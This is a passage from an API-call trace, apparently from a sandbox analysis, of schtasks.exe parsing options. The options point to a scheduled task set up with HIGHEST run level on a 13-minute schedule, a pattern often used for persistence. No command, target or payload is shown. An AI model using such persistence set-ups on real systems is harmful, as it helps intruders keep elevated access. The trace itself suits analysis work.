wMatch=0x48) returned 0x0 [0116.189] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0116.189] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0116.189] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0116.189] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0116.189] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0116.189] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0116.189] GetLastError () returned 0x0 [0116.189] lstrlenW (lpString="HIGHEST") returned 7 [0116.189] lstrlenW (lpString="HIGHEST") returned 7 [0116.189] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.189] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.189] lstrlenW (lpString="/f") returned 2 [0116.189] lstrlenW (lpString="-/") returned 2 [0116.189] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0116.190] lstrlenW (lpString="create") returned 6 [0116.190] lstrlenW (lpString="create") returned 6 [0116.190] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.190] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.190] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x9, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|create|") returned 8 [0116.190] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.190] lstrlenW (lpString="|create|") returned 8 [0116.190] lstrlenW (lpString="|f|") returned 3 [0116.190] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0116.190] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.190] lstrlenW (lpString="?") returned 1 [0116.190] lstrlenW (lpString="?") returned 1 [0116.190] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.190] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.190] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|?|") returned 3 [0116.190] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.190] lstrlenW (lpString="|?|") returned 3 [0116.190] lstrlenW (lpString="|f|") returned 3 [0116.190] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0116.190] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.190] lstrlenW (lpString="s") returned 1 [0116.190] lstrlenW (lpString="s") returned 1 [0116.190] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.190] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.190] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|s|") returned 3 [0116.190] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.190] lstrlenW (lpString="|s|") returned 3 [0116.190] lstrlenW (lpString="|f|") returned 3 [0116.190] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0116.191] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.191] lstrlenW (lpString="u") returned 1 [0116.191] lstrlenW (lpString="u") returned 1 [0116.191] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.191] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.191] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|u|") returned 3 [0116.191] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.191] lstrlenW (lpString="|u|") returned 3 [0116.191] lstrlenW (lpString="|f|") returned 3 [0116.191] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0116.191] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.191] lstrlenW (lpString="p") returned 1 [0116.191] lstrlenW (lpString="p") returned 1 [0116.191] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.191] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.191] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|p|") returned 3 [0116.191] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.191] lstrlenW (lpString="|p|") returned 3 [0116.191] lstrlenW (lpString="|f|") returned 3 [0116.191] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0116.191] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.191] lstrlenW (lpString="ru") returned 2 [0116.191] lstrlenW (lpString="ru") returned 2 [0116.191] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.191] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.191] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|ru|") returned 4 [0116.192] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.192] lstrlenW (lpString="|ru|") returned 4 [0116.192] lstrlenW (lpString="|f|") returned 3 [0116.192] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0116.192] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.192] lstrlenW (lpString="rp") returned 2 [0116.192] lstrlenW (lpString="rp") returned 2 [0116.192] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.192] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.192] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|rp|") returned 4 [0116.192] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.192] lstrlenW (lpString="|rp|") returned 4 [0116.192] lstrlenW (lpString="|f|") returned 3 [0116.192] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0116.192] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.192] lstrlenW (lpString="sc") returned 2 [0116.192] lstrlenW (lpString="sc") returned 2 [0116.192] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.192] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.192] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|sc|") returned 4 [0116.192] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.192] lstrlenW (lpString="|sc|") returned 4 [0116.192] lstrlenW (lpString="|f|") returned 3 [0116.192] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0116.192] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.192] lstrlenW (lpString="mo") returned 2 [0116.192] lstrlenW (lpString="mo") returned 2 [0116.192] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.193] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.193] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|mo|") returned 4 [0116.193] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.193] lstrlenW (lpString="|mo|") returned 4 [0116.193] lstrlenW (lpString="|f|") returned 3 [0116.193] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0116.193] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.193] lstrlenW (lpString="d") returned 1 [0116.193] lstrlenW (lpString="d") returned 1 [0116.193] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.193] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.193] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|d|") returned 3 [0116.193] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.193] lstrlenW (lpString="|d|") returned 3 [0116.193] lstrlenW (lpString="|f|") returned 3 [0116.193] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0116.193] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.193] lstrlenW (lpString="m") returned 1 [0116.193] lstrlenW (lpString="m") returned 1 [0116.193] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.193] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.193] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|m|") returned 3 [0116.193] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.193] lstrlenW (lpString="|m|") returned 3 [0116.193] lstrlenW (lpString="|f|") returned 3 [0116.193] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0116.193] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.193] lstrlenW (lpString="i") returned 1 [0116.193] lstrlenW (lpString="i") returned 1 [0116.194] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.194] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.194] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|i|") returned 3 [0116.194] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.194] lstrlenW (lpString="|i|") returned 3 [0116.194] lstrlenW (lpString="|f|") returned 3 [0116.194] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0116.194] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.194] lstrlenW (lpString="tn") returned 2 [0116.194] lstrlenW (lpString="tn") returned 2 [0116.194] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.194] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.194] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tn|") returned 4 [0116.194] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.194] lstrlenW (lpString="|tn|") returned 4 [0116.194] lstrlenW (lpString="|f|") returned 3 [0116.194] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0116.194] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.194] lstrlenW (lpString="tr") returned 2 [0116.194] lstrlenW (lpString="tr") returned 2 [0116.194] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.194] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.194] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|tr|") returned 4 [0116.194] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.194] lstrlenW (lpString="|tr|") returned 4 [0116.194] lstrlenW (lpString="|f|") returned 3 [0116.194] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0116.194] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.194] lstrlenW (lpString="st") returned 2 [0116.195] lstrlenW (lpString="st") returned 2 [0116.195] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.195] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.195] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|st|") returned 4 [0116.195] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.195] lstrlenW (lpString="|st|") returned 4 [0116.195] lstrlenW (lpString="|f|") returned 3 [0116.195] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0116.195] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.195] lstrlenW (lpString="sd") returned 2 [0116.195] lstrlenW (lpString="sd") returned 2 [0116.195] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.195] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.195] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|sd|") returned 4 [0116.195] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.195] lstrlenW (lpString="|sd|") returned 4 [0116.195] lstrlenW (lpString="|f|") returned 3 [0116.195] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0116.195] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.195] lstrlenW (lpString="ed") returned 2 [0116.195] lstrlenW (lpString="ed") returned 2 [0116.195] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.195] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.195] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|ed|") returned 4 [0116.195] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.195] lstrlenW (lpString="|ed|") returned 4 [0116.195] lstrlenW (lpString="|f|") returned 3 [0116.195] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0116.195] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.196] lstrlenW (lpString="it") returned 2 [0116.196] lstrlenW (lpString="it") returned 2 [0116.196] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.196] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.196] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|it|") returned 4 [0116.196] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.196] lstrlenW (lpString="|it|") returned 4 [0116.196] lstrlenW (lpString="|f|") returned 3 [0116.196] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0116.196] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.196] lstrlenW (lpString="et") returned 2 [0116.196] lstrlenW (lpString="et") returned 2 [0116.196] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.196] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.196] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|et|") returned 4 [0116.196] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.196] lstrlenW (lpString="|et|") returned 4 [0116.196] lstrlenW (lpString="|f|") returned 3 [0116.196] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0116.196] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.196] lstrlenW (lpString="k") returned 1 [0116.196] lstrlenW (lpString="k") returned 1 [0116.196] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.196] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.196] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|k|") returned 3 [0116.196] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.196] lstrlenW (lpString="|k|") returned 3 [0116.196] lstrlenW (lpString="|f|") returned 3 [0116.196] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0116.196] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.197] lstrlenW (lpString="du") returned 2 [0116.197] lstrlenW (lpString="du") returned 2 [0116.197] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.197] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.197] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|du|") returned 4 [0116.197] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.197] lstrlenW (lpString="|du|") returned 4 [0116.197] lstrlenW (lpString="|f|") returned 3 [0116.197] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0116.197] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.197] lstrlenW (lpString="ri") returned 2 [0116.197] lstrlenW (lpString="ri") returned 2 [0116.197] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.197] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.197] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x5, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|ri|") returned 4 [0116.197] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.197] lstrlenW (lpString="|ri|") returned 4 [0116.197] lstrlenW (lpString="|f|") returned 3 [0116.197] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0116.197] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.197] lstrlenW (lpString="z") returned 1 [0116.197] lstrlenW (lpString="z") returned 1 [0116.197] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.197] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.197] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|z|") returned 3 [0116.197] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.197] lstrlenW (lpString="|z|") returned 3 [0116.197] lstrlenW (lpString="|f|") returned 3 [0116.197] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0116.198] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.198] lstrlenW (lpString="f") returned 1 [0116.198] lstrlenW (lpString="f") returned 1 [0116.198] _memicmp (_Buf1=0x1b2079243c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.198] _memicmp (_Buf1=0x1b207924400, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.198] _vsnwprintf (in: _Buffer=0x1b207924730, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.198] _vsnwprintf (in: _Buffer=0x1b207924420, _BufferCount=0x4, _Format="|%s|", _ArgList=0x99ba07c5e8 | out: _Buffer="|f|") returned 3 [0116.198] lstrlenW (lpString="|f|") returned 3 [0116.198] lstrlenW (lpString="|f|") returned 3 [0116.198] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0116.198] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.198] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.198] GetProcessHeap () returned 0x1b207920000 [0116.198] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792b420 [0116.198] _memicmp (_Buf1=0x1b207924ce0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.198] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x1b20792bbb0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0116.198] lstrlenW (lpString="LIMITED") returned 7 [0116.198] GetProcessHeap () returned 0x1b207920000 [0116.198] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x10) returned 0x1b20792aa90 [0116.198] GetThreadLocale () returned 0x409 [0116.198] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0116.198] GetProcessHeap () returned 0x1b207920000 [0116.198] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792bae0 [0116.198] _memicmp (_Buf1=0x1b207924ce0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.198] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x1b20792bbb0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0116.198] lstrlenW (lpString="HIGHEST") returned 7 [0116.198] GetProcessHeap () returned 0x1b207920000 [0116.198] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x10) returned 0x1b20792ab50 [0116.198] GetThreadLocale () returned 0x409 [0116.198] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0116.199] GetProcessHeap () returned 0x1b207920000 [0116.199] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792b960 [0116.199] _memicmp (_Buf1=0x1b207924ce0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.199] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1b20792bbb0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0116.199] lstrlenW (lpString="MINUTE") returned 6 [0116.199] GetProcessHeap () returned 0x1b207920000 [0116.199] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0xe) returned 0x1b20792aaf0 [0116.199] GetThreadLocale () returned 0x409 [0116.199] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0116.199] RtlRestoreLastWin32Error () returned 0x99b9e46000 [0116.199] GetProcessHeap () returned 0x1b207920000 [0116.199] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x1fc) returned 0x1b20792acf0 [0116.199] GetProcessHeap () returned 0x1b207920000 [0116.199] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792ba80 [0116.199] _memicmp (_Buf1=0x1b207924ce0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.199] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1b20792bbb0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0116.199] lstrlenW (lpString="First") returned 5 [0116.199] GetProcessHeap () returned 0x1b207920000 [0116.199] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0xc) returned 0x1b20792ab30 [0116.199] GetProcessHeap () returned 0x1b207920000 [0116.200] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792b840 [0116.200] _memicmp (_Buf1=0x1b207924ce0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.200] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1b20792bbb0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0116.200] lstrlenW (lpString="Second") returned 6 [0116.200] GetProcessHeap () returned 0x1b207920000 [0116.200] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0xe) returned 0x1b20792a930 [0116.200] GetProcessHeap () returned 0x1b207920000 [0116.200] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792b990 [0116.200] _memicmp (_Buf1=0x1b207924ce0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.200] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1b20792bbb0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0116.200] lstrlenW (lpString="Third") returned 5 [0116.200] GetProcessHeap () returned 0x1b207920000 [0116.200] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0xc) returned 0x1b20792a970 [0116.200] GetProcessHeap () returned 0x1b207920000 [0116.200] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0x20) returned 0x1b20792b570 [0116.200] _memicmp (_Buf1=0x1b207924ce0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.200] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1b20792bbb0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0116.200] lstrlenW (lpString="Fourth") returned 6 [0116.200] GetProcessHeap () returned 0x1b207920000 [0116.200] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0xe) returned 0x1b20792aa50 [0116.200] _memicmp (_Buf1=0x1b207924ce0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.200] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1b20792bbb0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0116.200] lstrlenW (lpString="Last") returned 4 [0116.200] GetProcessHeap () returned 0x1b207920000 [0116.201] RtlAllocateHeap (HeapHandle=0x1b207920000, Flags=0xc, Size=0xa) returned 0x1b20792aa70 [0116.201] lstrlenW (lpString="13") returned 2 [0116.201] _wtol (_String="13") returned 13 [0116.201] _memicmp (_Buf1=0x1b207924ce0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.202] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1b20792bbb0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0116.202] lstrlenW (lpString="First") returned 5 [0116.202] _memicmp (_Buf1=0x1b207924ce0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0116.202] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1b20792bbb0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0116.202] lstrlenW (lpString="Second") returned 6 [0116.202] _memicmp 